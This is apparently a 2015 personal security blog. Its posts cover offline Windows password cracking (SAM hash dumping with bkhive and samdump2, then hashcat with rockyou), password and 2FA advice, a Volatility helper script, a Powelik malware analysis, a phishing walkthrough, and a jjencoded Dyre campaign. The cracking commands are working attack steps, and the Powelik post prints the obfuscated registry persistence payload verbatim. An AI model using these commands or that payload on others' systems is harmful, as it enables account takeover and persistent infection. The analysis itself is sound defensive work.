Friday, February 20, 2015

Password cracking 101 (and password best practices)

Had a fun little story where a friend came to me hoping I could help him break into one of his friend's computers.

Yeah... what?

Apparently the friend had some old computer she couldn't quite remember the password to. My friend's thought the best way to solve the problem was to have me crack it. Haha, works for me, sounds like fun =)

Now, there are actually a number of ways to solve this problem, since with physical access to an unencrypted harddrive, you can do pretty much whatever you want to it. There are all kinds of bootable OS tools and other utilities (such as Cain and Able) that will let you change, blank, or view passwords or whatever. So, I told him what he'd need to do.

First, you need the System and SAM files. Copies, actual files, or as they are resident in memory, doesn't matter ;)

Then, you'll need to create a key file from the System file that can be used to unlock the SAM file. This can be done with bkhive

bkhive SystemFile KeyFile

Note: The keyfile is the output, and you can call it whatever you want.

Then you use samdump2 to dump the hashes

samdump2 SAMfile KeyFile > hashes.txt

The next step is modifying your hashes file so that it doesn't confuse hashcat. For example, if you have username:passwordhash: then the trailing colon will throw a line length exception error in hashcat. The easy fix for this (especially if there are a lot of hashes,) is to use sed.

sed 's/:$//g' hashfile.txt

s means to search and replace, the :$ means look for a colon only at the end of a line, the // is normally where the replacement goes, since it's blank, it will remove the colon. The g means globally, so that it will do it to all occurrences.

Next, we get to run hashcat. For this one, I use the biggest list and rule files that come prepackaged in Kali.

hashcat -a 0 -m 1000 --username -r /usr/share/haschat/rules/d3ad0ne.rule hashfile.txt /usr/share/wordlists/rockyou.txt

-a 0 = This is the attack mode (straight, in this case)

-m 1000 = Type of hash. 1000 is NTLM, which is the hashtype Windows used.

--username = this tells hashcat to ingore the username in the username:hash format (otherwise it loads the entire line as a hash, and fails)

-r /rulepath = tells hashcat to use the specified rulelist

hashfile.txt = The file of hashes to crack

Dictionary path = Location of the wordlist you want to use (in this case, rockyou.txt, which comes compressed by default on Kali, so you have to unzip it.)

Once it cracks the passwords (which it won't show with the username,) you can run the same command as above, with an added --show switch, and it will give you a username:hash list of all the cracked passwords.

Anyways, back to the story, he grabbed the system and SAM files, but I forgot to mention the part about the bkhive on the System file, so he was trying to use the entire System file as the key... I helped him sort that out, and immediately I notice the local administrator account has a blank password. I'm like "She can just log into her admin account and change whatever she wants." But no, he STILL wanted to crack it, just to say he had, or to impress his friend, or something, whatever, no skin off my back.

 We set a clunky ol' Lenovo to cracking. About 15 minutes later another friend mentioned "Wouldn't it be cool if we could get a server cluster behind this?" And I was like "Actually... I have a version of hashcat on my laptop that will appropriate the GPU and crunch out hashes like whoa." Sure enough, we dumped that poor, single hash into my not even all that impressive laptop. 52 seconds and 1.6 BILLION hashes later it found a match, and the password was cracked! Friend of friend could now get into her computer again, yay!

It was some name with a couple numbers. This is a terrible password. Don't do it. So let's talk passwords for a second. Don't use any kind of dictionary word, don't use fictional character names from books (raistlin, gandalf, haplo, anything like that,) and don't use common number sequences, like dates. ALSO don't use character/number replacement. wH@tEv3r1! is a depressingly easy password to crack, for example. That rules file above? It takes every single entry in a dictionary list, and applies all the rules to them, effectively creating a MASSIVE and dynamic dictionary list. So it will take an entry like password, and try PaSsWoRd, Password1, password123, P@55w0rd!@12, password1969, 5password2015, so on and so forth. Keyboard patterns are also commonly added to password dictionaries. And I don't just mean asdfjkl; But other more "clever" ones as well, like 1qazXSW@ or %TGBnhy6. They look like good passwords, right? They're not.

So, random passwords are best, length over complexity, and use a password manager. I personally like to make up nonsense words, made up molecules (alister8pheNDren!te) for example (easier to remember since it's pronouncable), or a phrase. As xkcd pointed out in one of their comics, "charge horse battery staple" is not only easy to remember, but harder to crack than "complex" passwords. In this instance, it would be ok to use l33t speak to meet complexity criteria. charge h0rse Battery staple is still going to be nigh impossible to crack, and will satisfy most password requirements (spaces count as special characters in systems that accept them). I'd suggest not using that one though, as its popularity renders it not terribly secure, it's just an example.

Secondly... Security Questions. Do NOT answer them honestly. Even if you're not a celebrity. It's worse for celebrities, however, as this is how all those celebrity nudes got leaked a few months back. Their passwords were compromised by miscreants doing a password reset, and answering the security questions that the CELEBRITIES answered honestly. You may as well just make your password your significant other's name and save the badguys some trouble. Your mother's maiden name, your first car, first job, all of those kinds of things could potentially be discovered through some research and/or social engineering. So if you answer them honestly, someone could go reset your password and bam, account compromised. So I don't know about you guys, but I totally had a childhood friend named 7yU-f)!@5nMB.

And, lastly, even if you keep awesome 16 character random passwords, there's always the possibility it can get caught in plaintext somewhere, or if someone can find/capture the hash, they can pass the hash and not have to worry about what actually generated the hash in the first place. There's also the potential for a keylogger to be watching your every keystroke. So what's a person to do? Two-factor authentication. Anything that will allow you to use two-factor authentication, jump on it. Tie your gmail to your phone and require a one-time code texted to your phone when you log in from a new or portable device, tie bank accounts to something, and tie game accounts to a dongle or phone app... Or whatever. LastPass even supports the creation of a thumbdrive that will act as a sort of key, and if it isn't plugged into the computer, you can't log on. These kind of multi-factor steps are perhaps even more important than having a super password, but I'd suggest having both. Defense in layers and all that.

Well, that was longer than I expected...

tl;dr: Don't use stupid passwords

VirtualBox to volatility, a short script

So, after about the third time I referred to my malware analysis blog post to remember how to run the VirtualBox memory dump, then carve out the volatility compatible section from the elf file, I decided it was a pain in the neck and that a script was in order. It's a very simple script, but does the job I need it to.

#!/bin/bash

# This script will take a memory dump of the specified Virtual Machine and automatically convert it into a file that is readily manipulated through
# volatility.

if [ $# -lt 2 ]
  then
    echo "Usage: ./scriptname VirtualMachineName OutputFileName"
else
  VBoxManage debugvm $1 dumpguestcore --filename $2.elf
  start=$((`readelf -W -l $2.elf | grep -i -m 1 "LOAD" | awk {'print $2'}`+1))
  end=$((`readelf -W -l $2.elf | grep -i -m 1 "LOAD" | awk {'print $5'}`))
  tail -c +$start $2.elf | head -c $end > $2.raw
  rm $2.elf
fi

Bash is so cool!

Thursday, February 19, 2015

Hiding in the registry? Not new, but still effective

Here's kind of a fun one. Potentially infected machine (was trying to talk out to Russia...) so I start with all the usual precursory research. Don't see anything that really stands out, although an orphaned dllhost.exe process sounded like a good starting point to me. Launched a memory dump and started moving the 3.8 gig file over the WAN (ugh, so slow.)

While the file moved along, got some intel that suggested this could be powelik, a piece of malware that hides itself in the registry, not touching disk, and not using memory quite in the same way as all the noisey samples I've been analyzing for the past couple weeks.

Started out with my usual psxview, pslist, pstree, malfind, mutants, cmdscan, and dlllist plugins within volatility. Didn't see anything terribly interesting in any of them. I wanted to take a closer look at that dllhost process, so I ran a procdump on it, which... Failed for some reason. Strange. Did a vaddump on it instead, which is much messier, but still good for running strings on, at the very least.

So I ran strings on the resulting vaddump files, and found a couple registry key values (as well as some IPs and strange domains). After finding out through prior research that powelik hides in the registry, and uses dllhost, this seemed like a good indicator for where to look next.

The next part took a little bit of trial and error on my part. Digging through the registry as it sits in memory using volatility is a far cry different from using a tool like regedit. I've played around with the printkey module, but how to see exactly where it's pulling keys from, has always been a mystery to me. With a little bit of research, I've finally figured it out... to a degree.

First, we need to use the hivedump command with volatility, this gives us a list of all the registry hives (I use this command typically to get the System and SAM offsets for hashdumping). The key listed in the vaddump strings was "software\classes\clsid\{73E709EA-5D93-4B2E-BBB0-99B7938DA9E4}\localserver32."
The prior research suggested this should be located in the local user registry (HKLU,) and also mentioned that that file is located at C:\Users\username\AppData\Local\Microsoft\Windows\UsrClass.dat. This was a very useful bit of information, as I would have been barking up the wrong tree without this little tidbit. Clearly I need to study up on the registry a little bit.

Anyways, hivelist will show the offsets for the above registry file. I did a printkey just on the offset with no key specified, which for whatever reason listed CLSID without the software\classes parent keys... Which... Is odd, I still don't quite get how the registry is structured when pulled from memory, but anyways, there it was. So I did a printkey on the CLSID and saw a bunch of weird values similar to and including the one above starting with 73E. So, did a printkey on that one and saw this:

rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("epdvnfou/xsjuf)(=tdsjqu!mbohvbhf>ktdsjqu/fodpef?(,)ofx!BdujwfYPckfdu)(XTdsjqu/Tifmm(**/SfhSfbe)(ILDV]]tpguxbsf]]dmbttft]]dmtje]]|bc9:13c5.1:db.5cc7.c89e.b9g6:18:b9e6~]]mpdbmtfswfs43]]b(*,(=0tdsjqu?(*".replace(/./g,function(_){return%20String.fromCharCode(_.charCodeAt()-1);}))
Along with a bunch of what looks to me like binary data.

Well well, yet another indicator described in my powelik reading. It uses this registry key (hidden from normal browsing/modification through regedit with a null name or an unreadable non-ASCII character,) to maintain persistence. That javascript runs and leverages powershell to run the obfuscated shellcode. That eval function is more or less caesar shifted, it runs a function on each character, which basically just subtracts one from each. I haven't tried to decode it yet, but I'm willing to bet it points to a registry key.

And what would this post be without a slick tool? An associate pointed me to http://www.greymagic.com/security/tools/decoder/ which is a decoder for scripts that were encoded with Microsoft Script Encoder (I didn't even know that was a thing...) I literally pasted that registry key, javascript, binary, and all, into the decoder, and it spat back all the code. It does indeed check for powershell, and install it if it isn't there. Then there's a base64 encoded section that calls the shellcode (which is base64 coded within the first base64 encoding.) It shows the c2 servers at the end of the first chunk of base64, which is an exact string I saw in the vaddump of dllhost. It always pleases me to see things correlate like that.

Anyways, while my boss and I were going through the base64 decoding, noticed a nice little MZ header. Aha! Ran foremost on the file and it carved out the .dll slick as a whistle. The dll even has a whopping 8 hits on VT. The only problem, is that since this dll is triple encoded and located in a registry key with a non-ascii character name (making it impossible to query properly,) I don't see how an anti-virus could properly scan for it, even assuming it did have a signature for it. Kind of slick, but not in a good way.

Tuesday, February 17, 2015

This is how e-mails get compromised

Well, at least one of the ways. Had an e-mail come in with a Subject "Important Document" and simply stated "Kindly view the document i attached to you via Drop box," with a "View Document" button.

Seems simple enough. For those that hover over links before clicking on them, you'll immediately notice this button doesn't take you to dropbox, but instead takes you to some tecnomax-ec domain.

Let's click on it! =D




Oh cool, now I can sign in to dropbox with my e-mail! Apparently dropbox decided to change their e-mail service to tecnomax-ec... You know... so as to not confuse people.

So, let's log on using gmail.

I entered my username as thisisafake@gmail.com and a password of yeahright,hahah!! The interesting thing? It takes me to google docs, just as if I'd signed in! Only, as myself!



So in my software proxy, it shows me the POST request sending my fake username and password to tecnowherever, then it returns a "site has temporarily moved" with a link to a public access google docs file. Since I was already logged into google through groups or gmail or somesuch, it can use that session token for all kinds of google supported sites and services, and google docs is one of them. This way, it appears as though I really did log in to view the document (assuming I'd used my actual gmail credentials,) even though what REALLY happened, is that tecnotards just harvested your username and password, then sent you to google docs to minimize the raising of any red flags.

This is sneaky because many sites legitimately authenticate you against your google or facebook account. Be weary when doing this, however, and be sure that the URL reflects one you'd expect for what you're signing into (not tecnomax-ec for dropbox...)

The really scary part? The first time it gave me some kind of high traffic warning and didn't show me the document. I'd like to think that they're all security guys like me who put in fake credentials just for the sake of poking, proding, and trying to find malicious behavior, but something tells me that there are a lot of people out there who are in sudden and dire need of a password change...

Wednesday, February 11, 2015

THAT'S not javascript... Wait, what?!

This one is from a little while back, so I'm sure all the links are dead and gone, but that shouldn't really matter much. We were seeing some pretty active spam campaigns that all had a similar look and feel for a good month or two.

I'd browse to the site on my analysis machine with ZAP running, and each link (of which there were a good dozen different domains serving this content,) would redirect to two different links containing the same jquery-versionnumber.js file.

These .js files contained gobbly-gook similar to that below.


What... Just... what? I've seen obfuscation before, but that just looks ridiculous.

Fortunately, it's apparently not all that horribly uncommon, as we had a running discussion about this particular campaign, and an associate pointed me to an online unpacker at dollar.zikin.cz.

UNfortunately, the deobfuscated code produced something almost equally confusing. What I got was this:

document.write("Alice arms altogether carried gruntwith star could made right open Dontheld legs snorting made surebaby with difficulty thought when soon theyre sure last replykept doubling minute proper into behindAlice just minute left away surecaught held engine kept doubling straightenin foot open wouldnt gruntdirections that proper take kill grunted Dont gruntfish again right dont said lastdirections altogether hold made nursing sort knot child sure sneezingsome thing steam that first could sort behind Dontwhen doubling soon twist knot open words grunted");


Uhh... yeah... sure. Someone else in the discussion suggested that the miscreants were probably selectively serving up their malware. So, I decided to try another wget at one of the jquery serving URLs, spoofing my user agent as IE6. I mean... who DOESN'T want to infect IE6? It's almost like one of those penetration testing practice platforms people design, only, not by design.

A slightly irrelevant, but interesting note about the text above. Someone noted that the paragraph above, as well as one another person decoded, seemed to be very vaguely similar to some paragraphs out of Alice in Wonderland. Almost like a foreign copy of the book was run BACK through google translate or something. Weird.

Anyways, the spoofed wget served up another jquery file with the jjencoded gobbly-gook, but this time when decoded showed a much more "normal" looking bit of javascript.



Unfortunately for me, that ^N was for some reason counted as a weird bit of binary, or at the very least NOT a normal ASCII character, so when I tried to run it through decoders, they didn't detect it as valid javascript. I didn't get to the point where I was going to guess what went there (probably script?) however, because someone else pulled a similar sample that wasn't glitched out.

All it turned out to be was yet another redirect to a malware download. I didn't have my bomb shelter set up at the time, so I didn't get to see what going through the full redirect would have downloaded or how. There will be other chances for that I'm sure. I have it on good authority that it was Dyre, and given its selective-serving nature, I wouldn't be surprised if it was using a browser exploit that wouldn't require any user interaction beyond clicking the initial link.

Later, someone pointed us to this wonderful little article about this Dyre campaign and jjencode (which, if you take it one step at a time, and know your javascript, isn't actually quite as bad as it looks. Would still suck to do a manual decode though) The article can be found here:

https://blog.korelogic.com/blog/2015/01/12/javascript_deobfuscation